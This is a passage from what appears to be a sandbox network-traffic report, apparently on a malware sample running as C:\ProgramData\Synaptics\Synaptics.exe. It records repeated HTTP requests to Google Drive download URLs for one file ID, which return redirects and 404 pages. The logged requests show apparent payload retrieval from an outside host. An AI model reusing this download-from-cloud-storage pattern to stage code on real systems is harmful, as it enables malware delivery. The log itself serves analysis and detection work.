ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49755	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:46 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-u-1-NnUShzyzCq6QCmmMlA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49756	142.250.186.78	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:46 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-15 10:23:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-dpdHYbzVlTWjZxf1x7Siag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49757	142.250.185.65	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:46 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:23:46 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:46 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-F8jo_QnAwesnAN858b8Wbg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 X-GUploader-UploadID: AFiumC5WJGXwo2vmxjLMj8mGNy0sEowhjmmIR-1EG5yxlVQ1OdklsDsFvUA6Amis4WIJhW9zpyKbbK2unA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:23:46 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:23:46 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 5f 72 62 68 5a 43 57 43 74 32 56 34 46 65 51 77 34 38 65 4b 47 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="_rbhZCWCt2V4FeQw48eKGQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:23:46 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49758	142.250.185.65	443	3588	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:23:46 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:23:46 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:23:46 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-e68TODCjM1OVanXeHrZZDQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC6y7Wk_LQrmjd-nTkB_x27OFBKo3YevUMeNkgQpmeOBgss5xjzdLVNaKltTHcF3px23SDe5q9_wug Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:23:46 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:23:46 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 68 51 4c 31 30 65 46 54 6e 68 46 46 6e 78 53 6f 64 76 4a 56 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="9hQL10eFTnhFFnxSodvJVg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:23:46 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49768	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:37 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-63EXhVa68WeEFZQTSa0S4g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49769	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:37 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:37 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:37 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-v-Tv71rpTdHM6y1zIecmhA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49772	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:38 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:38 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:38 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-TFk4-tMSrQahTJaAkxLfOg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49773	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:38 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:39 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:39 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-EgrMCGhrmLQahhkRUwERpA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC7Wo2brYXRJwVxL_l2i0-lTcBXlfxR5iGrJWNm24tMZaMhpUB2_xZnTIjlJWI6tEPBoN0oVN_8OvQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-15 10:24:39 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-15 10:24:39 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 2d 4b 6b 63 4e 76 78 6d 5a 76 42 35 5a 36 53 50 50 54 61 5a 6d 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="-KkcNvxmZvB5Z6SPPTaZmg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-15 10:24:39 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49774	142.250.185.78	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 10:24:38 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=q1lrgPbFKCFyu9T66-I47plFxOcDwfVpLx1AMCfNBmcjVhw-lHFuRj4vTkQmEaNm3P5rkFiKGm8Y7Kh-YjhDVfZoa_nJ9BzX6mXcZUbqbT1yqaDMndMW1mfAPxxtETL9GO2a45cTllXcYq0IVEuvc0belUviCx4Nwnms2Hkkg8uxPlKHQA5ug14
2024-11-15 10:24:39 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 15 Nov 2024 10:24:39 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-xT9tYbUyutAKCxVmQnfPLQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49775	142.250.185.65	443	6056	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
